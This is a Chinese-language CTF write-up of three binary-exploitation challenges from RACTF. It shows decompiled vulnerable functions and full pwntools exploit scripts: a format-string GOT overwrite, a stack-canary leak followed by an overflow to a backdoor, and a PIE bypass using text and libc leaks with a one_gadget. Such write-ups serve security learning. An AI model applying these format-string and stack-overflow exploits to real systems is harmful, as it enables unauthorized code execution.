RACTF Writeup pwn

大不列顛的 Rating 0 賽,還是持續 4 天的

Not Really AI

分析

保護情況

全關

漏洞函數

簡單格式化字符串

int response()
{
  char s; // [esp+0h] [ebp-208h]

  puts("How are you finding RACTF?");
  fgets(&s, 0x200, stdin);
  puts("I am glad you");
  printf(&s);
  return puts("\nWe hope you keep going!");
}

思路

有預留後門,直接找個跳轉的地方改了就行,改了 puts plt 表。

exp

from pwn import *

context.log_level = 'debug'
#p = process("./nra")
p = remote("95.216.233.106",40592)

payload = '%69c%15$hhn%77c%16$hhn%114c%17$hhn%4c%18$hhn'+ p32(0x804c018)+p32(0x804c018+1)+p32(0x804c018+2)+p32(0x804c018+3)
p.recvuntil("RACTF?\n")
p.sendline(payload)

p.interactive()

Finches in a Stack

分析

保護情況

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

漏洞函數

兩處棧溢出加上一個格式化字符串。

unsigned int say_hi()
{
  char *v0; // eax
  char v2; // [esp+3h] [ebp-25h]
  char s[20]; // [esp+8h] [ebp-20h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  printf("Hi! What's your name? ");
  gets(s);                                      // 棧溢出
  printf("Nice to meet you, ");
  v0 = &s[strlen(s)];
  *(_WORD *)v0 = '\n!';                         
  v0[2] = 0;                                    
  printf(s);                                    // 格式化字符串
  puts("Do YOU want to pet my canary?");
  gets(&v2);
  return __readgsdword(0x14u) ^ v4;
}

思路

有預留的後門函數,再有一個長度足夠的棧溢出,有可能控制 eip 跳轉到後門。程序開了 canary 那肯定要繞過,剛好有格式化字符串可以泄露 canary 值。調試一下得到偏移爲: 11

# 泄露 canary
payload = 'aaaa' + "%11$p"

棧溢出控制跳轉:

payload = 'b'*25 + p32(canary) + p32(flag)*4

exp

from pwn import *

context.log_level = 'debug'

#p = process("./fias")
p = remote("95.216.233.106",45107)
elf = ELF("./fias")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

flag = 0x80491D2

payload = 'aaaa' + "%11$p"
p.recvuntil("name?")
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('!',drop=True),16)
log.info("canary:"+hex(canary))

payload = 'b'*25 + p32(canary) + p32(flag)*4
p.recvuntil("canary?\n")
#gdb.attach(p)
p.sendline(payload)

p.interactive()

Finches in a Pie

分析

保護情況

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

漏洞函數

和上一題一樣的棧溢出和格式化字符串,區別是這題開了 PIE。

unsigned int say_hi()
{
  char *v0; // eax
  char v2; // [esp+3h] [ebp-25h]
  char s[20]; // [esp+8h] [ebp-20h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  puts("CATCH HIM!\n");
  puts("You got him! Thank you!");
  puts("What's your name?");
  gets(s);                                      // 棧溢出
  printf("Thank you, ");
  v0 = &s[strlen(s)];
  *(_WORD *)v0 = '\n!';
  v0[2] = 0;
  printf(s);                                    // 格式化字符串
  puts("Would you like some cake?");
  gets(&v2);                                    // 棧溢出
  return __readgsdword(0x14u) ^ v4;
}

思路

和上題區別是開了 PIE ,不能直接得到後門地址,需要繞過 PIE 保護。一開始想着 partial write ,沒有找到有能跳轉的地方。後面改用泄露地址,計算出真實地址,從而繞過 PIE 。

用格式化字符串可以泄露出 text 段和 libc 的地址。實際測試泄露 libc 地址調用 onegadget 無效,最後還是乖乖泄露 text 段地址,調用預留後門。

'''
11 : canary 偏移
15 :0x13D9 對應的text實際地址(在main中)
'''
payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"

然後就是和上一題一樣操作。

payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)

exp

泄露 text 段

from pwn import *

context.log_level = 'debug'

p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
text_leak = int(p.recvuntil('|',drop=True),16)
log.info("text_leak:"+hex(text_leak))
flag = text_leak - 0x1d0
log.info("flag:"+hex(flag))


payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)
p.recvuntil("cake?\n")

p.sendline(payload)

p.interactive()

泄露 libc (僅本地可用)

from pwn import *

context.log_level = 'debug'

p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

one_gadget = 0x5fbc5

payload = 'aaaa' + "%11$p" + "|" + "%23$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
libc_leak = int(p.recvuntil('|',drop=True),16)
log.info("libc_leak:"+hex(libc_leak))
libc_base = libc_leak - 99895
log.info("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:"+hex(system))
one_gadget += libc_base
log.info("one_gadget:"+hex(one_gadget))

payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(one_gadget)
#payload = 'bbbbb'
p.recvuntil("cake?\n")

p.sendline(payload)

p.interactive()

PIE 繞過

PIE保護詳解和常用bypass手段

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章